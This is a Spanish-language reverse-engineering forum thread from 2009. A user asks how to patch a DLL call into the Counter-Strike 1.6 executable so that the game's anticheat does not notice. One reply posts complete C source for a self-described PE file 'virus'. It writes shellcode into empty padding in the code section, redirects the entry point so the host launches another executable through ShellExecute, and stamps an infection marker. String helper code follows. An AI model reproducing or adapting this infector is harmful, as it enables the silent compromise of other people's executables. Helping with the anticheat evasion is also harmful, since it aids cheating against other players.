elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


+  Foro de elhacker.net
|-+  Programación
| |-+  Ingeniería Inversa (Moderadores: karmany, .:UND3R:., MCKSys Argentina)
| | |-+  ¿Agregar una llamada de una funcion de una .DLL a un archivo PE?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: ¿Agregar una llamada de una funcion de una .DLL a un archivo PE?  (Leído 3,900 veces)
--<<<@u6u$t0>>>--

Desconectado Desconectado

Mensajes: 152



Ver Perfil
¿Agregar una llamada de una funcion de una .DLL a un archivo PE?
« en: 3 Marzo 2009, 22:53 pm »

Hola, empece a aprender hace poco sobre la estrucura de un archivo PE, y ahora estoy viendo como agregar un llamada a un archivo ejecutable sin agregar una sección ni agrandar el tamaño del archivo, ya que de lo contrario me detecta el programa anticheat.

El ejecutable que necesito modificar se llama HL.exe, pesa 80 KB justo, tiene 4 secciones que son: .TEXT .RDATA .DATA .RSRC, y la tabla de importaciones llama 91 fuciones de las librerias WSOCK32.DLL, KERNEL32.DLL, USER32.DLL, ADVAPI.DLL. Es el EXE principal de Counter Strike 1.6 No Steam.

Mi plan es usar los espacios vacios (00 00 00 00 etc) del EXE, segun vi con el editor exadecimal, para agregar una llamada. Pero el problema es que al agregar la llamada a una funcion con el programa Stud PE 2.4.0.1 se crea una nueva sección llamda .NEWIMP. Si borro la sección desaparece la Tabla de Importaciones.

Si quieren el programa lo pueden bajar de aca:
http://asus1004.tistory.com/155

Si quieren analizar el EXE y no tiene el juego lo subi aca:
http://www.4shared.com/file/90571974/5319dac9/hl_online.html?dirPwdVerified=a0cb55d8

Estoy aprendiendo todavia así que ucalquier ayuda sirve. Gracias, chau.

AugustoM Augus1990 @u6u$t0
« Última modificación: 4 Marzo 2009, 00:10 am por --<<<@u6u$t0>>>-- » En línea

Tengo que saber mas sobre Informatica...

                                             ---<<<‹|[@u6u$t0]|›>>>---

AugustoM Augus1990 @u6u$t0
tena


Desconectado Desconectado

Mensajes: 668



Ver Perfil
Re: ¿Agregar una llamada de una funcion de una .DLL a un archivo PE?
« Respuesta #1 en: 4 Marzo 2009, 01:41 am »

Tambien podrias con un injerto usar GetModuleHandle para la dll  y GetProcAddress para la funcion, y luego haces la llamada a esta.

slds
En línea

karmany
Moderador
***
Desconectado Desconectado

Mensajes: 1.614


Sueñas que sueñas


Ver Perfil WWW
Re: ¿Agregar una llamada de una funcion de una .DLL a un archivo PE?
« Respuesta #2 en: 4 Marzo 2009, 03:21 am »

Yo lo haría como te dice tena, pero no con un editor hexadecimal que te puedes equivocar facilmente sino con el mismo OllyDBG. También tienes que tener presente una cosa importante: debes verificar si esos bytes a 00 que comentas no se utilizan para nada más, ya que sino pueden ser modificados o darte algún resultado inesperado.

Mi consejo es que lo analices con OllyDBG.
En línea

bizco


Desconectado Desconectado

Mensajes: 698


Ver Perfil
Re: ¿Agregar una llamada de una funcion de una .DLL a un archivo PE?
« Respuesta #3 en: 6 Marzo 2009, 23:01 pm »

Para lo que quieres no te vale, ya que se le aplica md5 al fichero. que no cambie de tamaño es lo de menos, 1 byte cambiado y el md5 es diferente.
En línea

solidcls

Desconectado Desconectado

Mensajes: 72


Ver Perfil
Re: ¿Agregar una llamada de una funcion de una .DLL a un archivo PE?
« Respuesta #4 en: 6 Marzo 2009, 23:49 pm »

El topo te scanea el exe yte agrega bytes en ena sección que ya exista
En línea

Solid [CrAcKsLaTiNoS]
Karman


Desconectado Desconectado

Mensajes: 673



Ver Perfil WWW
Re: ¿Agregar una llamada de una funcion de una .DLL a un archivo PE?
« Respuesta #5 en: 7 Marzo 2009, 07:42 am »

más ayá que la mayoría de los anticheats tienen un control md5 del ejecutable (no permiten que se modifique ni un solo bit) la modificación del código se puede hacer si tu ejecutable contiene alguna llamada a alguna función que lance ejecutables o abra librerías: ShellExecute o LoadLibrary por ejemplo...

este código modificaba un ejecutable para que ejecute otro programa:

Código
  1. /*
  2. Coder: Karman
  3. Name of Proyect: Viruchezco Barato...
  4. Version: 0.9.5-A
  5. Date: 02-02-05
  6.  
  7. Nota: Hermoso Codigo de infeccion de archivos PE
  8. sin modificacion de tamanio ni adision de secciones...
  9. */
  10.  
  11. #include <windows.h>
  12. #include <Strings.h>
  13. //#include <stdio.h>
  14.  
  15. typedef unsigned int uint;
  16. typedef unsigned char uchar;
  17.  
  18. uchar code[]={
  19. //*********************** Strings *************************
  20.  //FileName 1 ?
  21.  0,0,0,0,0,0,0,0,0,0,0,0,0,
  22.  //FileName 2 ?
  23.  0,0,0,0,0,0,0,0,0,0,0,0,0,
  24.  //FileName me... jejeje
  25.  0,0,0,0,0,0,0,0,0,0,0,0,0,
  26.  // open                    
  27.  'o' ,'p' ,'e' ,'n' ,0,
  28. //*********************** Code *****************************
  29.  //xor edi
  30.  0x33,0xff,
  31.  //add edi, 0d
  32.  0x83,0xc7,0x0d,
  33.  //mov eax, dir...          
  34.  0xb8,0x00,0x00,0x00,0x00,
  35.  //add eax, edi
  36.  0x03,0xc7,
  37.  //push 0A (ShowMode)
  38.  0x6a,0x0a,
  39.  //push 00 (Directory)
  40.  0x6a,0x00,
  41.  //push 00 (Parameters)
  42.  0x6a,0x00,
  43.  //push eax (File)
  44.  0x50,
  45.  //push "open" (Command)
  46.  0x68,0x00,0x00,0x00,0x00,
  47.  //push 00 (HWND)
  48.  0x6a,0x00,
  49.  //call shellexecute()              
  50.  0xff,0x15,0x00,0x00,0x00,0x00,
  51.  //cmp al,02
  52.  0x3c,0x02,
  53.  //je 05 (Down)
  54.  0x74,0x05,
  55.  //jmp old entry point
  56.  0xe9,0x00,0x00,0x00,0x00,
  57.  //cmp edi,39  
  58.  0x83,0xff,0x27,
  59.  //jne 212 (up)
  60.  0x75,0xd4,
  61.  //Ret
  62.  0xc3,
  63.  //Mark
  64.  'D','e','L','a','C','a','b','e','z','a',' ',
  65.  '2','0','0','5',' ',
  66.  '-','V','r','.',' ',
  67.  '0','.','9','.','5','.','A','-'
  68. };
  69.  
  70. //DeLaCabeza 2005 - Vr. 0.9.5-A .-
  71. HANDLE hfp;DWORD dwRW;
  72. uint apep,val,val2,ira,*pval,*pval2,*sd;
  73. uint ita,its,itva,ib,ns,epva,epa,epd,eps,FSize;
  74. uchar av,va,*PMV,*pPMV,*pFN;
  75.  
  76. void strcopy(uchar *obj,uchar *data,uint pos)
  77. {uchar cp;for(cp=0;cp<lstrlen(data);cp++)obj[pos+cp]=data[cp];}
  78.  
  79. //Infection Function...  
  80. //que hermoso código papá...  
  81. int infection(uchar *FName,uchar *txt0,uchar *txt1)
  82. {
  83.  its=0;ns=0;
  84.  
  85.  //Revisamos el FileName... Quitamos el File Path...
  86.  pFN=FindLastChar(FName,'\\');
  87.  
  88.  // Old Format Names... 8x3
  89.  if(StrLen(txt0)>12||StrLen(txt1)>12||StrLen(pFN)>12)return 1;//Ma' que te pasa?
  90.  
  91.  //Openigzamos el file...
  92.  hfp = CreateFile(FName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
  93.  if(hfp == INVALID_HANDLE_VALUE)return 2;//Pinche file...
  94.  
  95.  //lectura del fichero (PE Header)...
  96.  PMV = (char*)GlobalAlloc(GPTR,0x601);
  97.  ReadFile(hfp, PMV, 0x600, &dwRW, NULL);
  98.  if(GetLastError()==ERROR_HANDLE_EOF)goto Free;
  99.  
  100.  //ya lo garque?
  101.  pPMV=&PMV[0x4e];if(StrCompN(pPMV,"This",4))goto Free;
  102.  
  103.  //hubicamos los recursos... PE start Address
  104.  pval=(int *)&PMV[0x3c];val=*pval;
  105.  
  106.  //file type... PE?
  107.  pPMV=&PMV[val];if(StrCompN(pPMV,"PE",2))goto Free;
  108.  
  109.  //Size of Header... (1,5 Kb)
  110.  if((val+*((int*)&PMV[val+0x54]))>0x600)goto Free;
  111.  
  112.  //Number of sections
  113.  pval=(int *)&PMV[val+0x06];ns=*(pval)&0xFFFF;
  114.  //Entry Point Virtual Address
  115.  pval=(int *)&PMV[val+0x28];epva=*pval;apep=val+0x28;
  116.  //Image Base
  117.  pval=(int *)&PMV[val+0x34];ib=*pval;
  118.  //Import Table Virtual Address
  119.  pval=(int *)&PMV[val+0x80];itva=*pval;
  120.  
  121.  //Object Table Scaner
  122.  sd=(int *)&PMV[val+0x100];  
  123.  for(av=0;av<ns;av++)
  124.  {
  125.    //Phisic Address of IT
  126.    if((itva>=sd[1])&&(itva<(sd[0]+sd[1]))){ita=itva-sd[1]+sd[3];its=sd[2];}
  127.    //Phisic Address of EP
  128.    if((epva>=sd[1])&&(epva<(sd[0]+sd[1]))){epa=sd[3];eps=sd[2];epd=sd[1];}
  129.    //Next Struct info...
  130.    sd+=0x0A;  
  131.  }  
  132.  
  133.  //sd[0]:Virtual Size - sd[1]:Virtual Address
  134.  //sd[2]:Phisic Size  - sd[3]:Phisic Address
  135.  
  136.  Free: GlobalFree(PMV);
  137.  
  138.  //lectura del fichero (IT Struct)...
  139.  if(its>0){
  140.    PMV = (char*)GlobalAlloc(GPTR,its+1);//pos=ita;
  141.    SetFilePointer(hfp,ita,NULL,FILE_BEGIN);  
  142.    ReadFile(hfp, PMV, its, &dwRW, NULL);PMV[its]=0;
  143.    if(GetLastError()==ERROR_HANDLE_EOF)goto EndFind;
  144.  
  145.    //Find Function in Import Table...
  146.    ira=0;pval=(int *)PMV;
  147.      while(*pval&&!ira){
  148.        val=*pval-itva;av=0;
  149.        if(val>its)goto EndFind;
  150.        pval2=(int *)&PMV[val];          
  151.        while(*pval2){
  152.          val2=*pval2-itva;  
  153.          if(val2<its){
  154.            pPMV=&PMV[val2+2];
  155.            if(!StrComp(pPMV,"ShellExecuteA")){
  156.              ira=*(pval+0x04)+ib+av*0x04;
  157.              goto EndFind;
  158.            }
  159.          }
  160.          pval2++;av++;
  161.        }
  162.        pval+=5;      
  163.      }
  164.    EndFind: GlobalFree(PMV);
  165.  }
  166.  
  167.  va=0;if(ira){val=0;
  168.    PMV = (char*)GlobalAlloc(GPTR,eps+1);
  169.    SetFilePointer(hfp,epa,NULL,FILE_BEGIN);  
  170.    ReadFile(hfp, PMV, eps, &dwRW, NULL);PMV[eps]=0;
  171.    //Find Space...
  172.    while(val<eps&&va<0x65)if(!PMV[val++])va++;else va=0;
  173.    GlobalFree(PMV);
  174.  }
  175.  
  176.  if(va>=0x65){
  177.    //Make positions
  178.    val-=0x60;
  179.    //Making the Path... FNames
  180.    strcopy(code,txt0,0x00);strcopy(code,txt1,0x0d);strcopy(code,pFN,0x1a);
  181.    //directions
  182.    pval=(int *)&code[0x32];*pval=ib+epd+val-0x0d;
  183.    //Push "open"
  184.    pval=(int *)&code[0x40];*pval=ib+epd+val+0x27;
  185.    //call shellexecute()
  186.    pval=(int *)&code[0x48];*pval=ira;
  187.    //jmp old entry point
  188.    pval=(int *)&code[0x51];*pval=epva-epd-val-0x55;
  189.  
  190.    //Escribimos...
  191.    SetFilePointer(hfp,epa+val,NULL,FILE_BEGIN);  
  192.    WriteFile(hfp, code, 0x5b, &dwRW, NULL);
  193.  
  194.    //calc address of entry point
  195.    pval=(int *)&code[0x00];*pval=epd+val+0x2C;
  196.    SetFilePointer(hfp,apep,NULL,FILE_BEGIN);  
  197.    WriteFile(hfp, code, 0x4, &dwRW, NULL);
  198.  
  199.    //File Mark
  200.    SetFilePointer(hfp,0x4e,NULL,FILE_BEGIN);
  201.    WriteFile(hfp,&code[0x5b],29, &dwRW, NULL);
  202.  }
  203.  CloseHandle(hfp);
  204.  return 0;
  205. }
  206.  
  207. int main(void){
  208.  infection("c:\\k.exe","boot.exe","filename.exe");
  209.  system("pause");
  210. }
  211. // La verda' que eto e' una obra de marte... .)
  212.  

PD: me olvidaba que defini un par de funciones extras en un .h .c
Strings.h/c (el h solo tenía los prototipos)
Código
  1. /*
  2.  * Strings.c
  3.  *
  4.  * Definitions for string functions.
  5.  *
  6.  *  This source code is offered for use in the public domain. You may
  7.  *  use, modify or distribute it freely.
  8.  *
  9.  *  This code is distributed in the hope that it will be useful but
  10.  *  WITHOUT ANY WARRANTY. ALL WARRANTIES, EXPRESS OR IMPLIED ARE HEREBY
  11.  *  DISCLAIMED. This includes but is not limited to warranties of
  12.  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
  13.  *
  14.  * $Revision: 1.0
  15.  * $Author: Karman
  16.  * $Date: 2004/03/02
  17.  *
  18.  */
  19.  
  20. //Global Var's
  21. #include <windows.h>
  22. char itstmp[12];
  23.  
  24. //Code Start...
  25.  
  26. void StrIns(char *obj,char *data,int pos){
  27.  obj+=pos;
  28.  while(*data)*(obj++)=*(data++);
  29. }
  30.  
  31. char *Upper(char *buff){
  32. char *buf=buff;
  33. while(*buff){if(*buff>0x60&&*buff<0x7b)*buff-=0x20;buff++;}
  34. return buf;
  35. }
  36.  
  37. char *Lower(char *buff){
  38. char *buf=buff;
  39. while(*buff){if(*buff>0x40&&*buff<0x5b)*buff+=0x20;buff++;}
  40. return buf;
  41. }
  42.  
  43. char *StrCat(char *buff1,char *buff2){
  44. char *buf=buff1;while(*buff1)buff1++;
  45. while(*buff2)*(buff1++)=*(buff2++);
  46. *buff1=0;return buf;
  47. }
  48.  
  49. char *StrCatN(char *buff1,char *buff2,int nc){
  50. char *buf=buff1;while(*buff1)buff1++;
  51. while(*buff2&&(nc--))*(buff1++)=*(buff2++);
  52. *buff1=0;return buf;
  53. }
  54.  
  55. char *StrCopy(char *buff1,char *buff2){
  56. char *buf=buff1;
  57. while(*buff2)*(buff1++)=*(buff2++);
  58. *buff1=0;return buf;
  59. }
  60.  
  61. char *StrCopyN(char *buff1,char *buff2,int nc){
  62. char *buf=buff1;
  63. while(*buff2&&(nc--))*(buff1++)=*(buff2++);
  64. *buff1=0;return buf;
  65. }
  66.  
  67. char *FindFirstChar(char *buff,char cf){
  68. while(*buff&&*buff!=cf)buff++;
  69. if(!(*buff)&&cf)return 0;
  70. return buff;
  71. }
  72.  
  73. char *FindLastChar(char *buff,char cf){
  74.  char *buff2=NULL;
  75.  while(*buff)if(*(buff++)==cf)buff2=buff;
  76.  return buff2;
  77. }
  78.  
  79. char *StrTokenChar(char *buff1,char *buff2,char cf1,char cf2){
  80. *buff1=0;
  81. while(*buff2){
  82.  if(*(buff2++)==cf1){
  83.    while(*buff2){
  84.      *buff1=*(buff2++);*(++buff1)=0;
  85.      if(*buff2==cf2)goto end;
  86.    }
  87.  }
  88. }
  89. end:
  90. return buff1;
  91. }
  92.  
  93. int StringsTokens(char *buff1,char *buff2,char cf1,char cf2,int no){
  94. int av=0;char *tmp=buff1;*buff1=0;
  95. while(*buff2&&av<no){buff1=tmp;
  96.  if(*(buff2++)==cf1){++av;
  97.    while(*buff2&&*buff2!=cf2){
  98.      *buff1=*(buff2++);*(++buff1)=0;
  99.    }
  100.  }
  101. }return av;
  102. }
  103.  
  104. int FindPrevStr(char *buff1,char *buff2,char cf,int no){
  105. int av=0,pos=0,ap=0;*buff1=0;char *tmp=buff1;
  106. while(*buff2){
  107.  if(*buff2==cf){pos=ap;if(++av==no)break;}
  108.  *buff1=*buff2;buff1++;buff2++;ap++;
  109. }tmp[pos]=0;
  110. return av;
  111. }
  112.  
  113. int StrLen(char *buff){
  114.  int ret=0;
  115.  while(*buff){ret++;buff++;}
  116.  return ret;
  117. }
  118.  
  119. int StrComp(char *buff1,char *buff2){
  120.  int ret=0;
  121.  while(*buff1&&*buff2){if(*(buff1++)!=*(buff2++))ret++;}
  122.  if(*buff1||*buff2)ret++;
  123.  return ret;
  124. }
  125.  
  126. int StrCompN(char *buff1,char *buff2,int nc){
  127.  int ret=0,av;
  128.  while(*buff1&&*buff2&&(nc)){--nc;
  129.    if(*(buff1++)!=*(buff2++))ret++;
  130.  }if((*buff1^*buff2)&&nc)ret++;
  131.  return ret;
  132. }
  133.  
  134. int FindNum(char *bf){
  135. int tn=0;char av=0;
  136. while(*bf){
  137.  if((*bf>0x2F)&&(*bf<0x3a)){
  138.    if(av)tn*=10;tn+=*bf-0x30;av=1;  
  139.  }else if(av)break;bf++;
  140. }return tn;
  141. }
  142.  
  143. char *offset(int val){
  144. int tmp;char *temp=itstmp;int at=val;
  145. temp+=11;*temp=0;do{tmp=val/10;--temp;
  146. *temp=((at>0)?(val-tmp*10):-(val-tmp*10))+0x30;val=tmp;
  147. }while(val);if(at<0){--temp;*temp='-';}return temp;
  148. }
  149. //End Code...

en el podrás ver un pantallazo de como se hace...

S2
« Última modificación: 7 Marzo 2009, 08:01 am por Karman » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Agregar funcion a programa.
Programación Visual Basic
syrdax 3 2,161 Último mensaje 9 Agosto 2011, 01:30 am
por raul338
como agregar una funcion a un archivo dll? « 1 2 »
Ingeniería Inversa
palomito 13 7,862 Último mensaje 28 Mayo 2012, 21:34 pm
por The Swash
Saber de donde es llamada una función VB
Ingeniería Inversa
.:UND3R:. 7 3,686 Último mensaje 16 Noviembre 2013, 01:31 am
por Flamer
funcion en c que pueda ser llamada con parámetros de distintos tipos « 1 2 »
Programación C/C++
etcheverrypablol 17 7,016 Último mensaje 16 Marzo 2016, 11:30 am
por MAFUS
Llamada a una funcion en un esquema de memoria segmentada « 1 2 »
Programación C/C++
Usuario887 13 6,806 Último mensaje 25 Abril 2020, 18:13 pm
por Usuario887
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines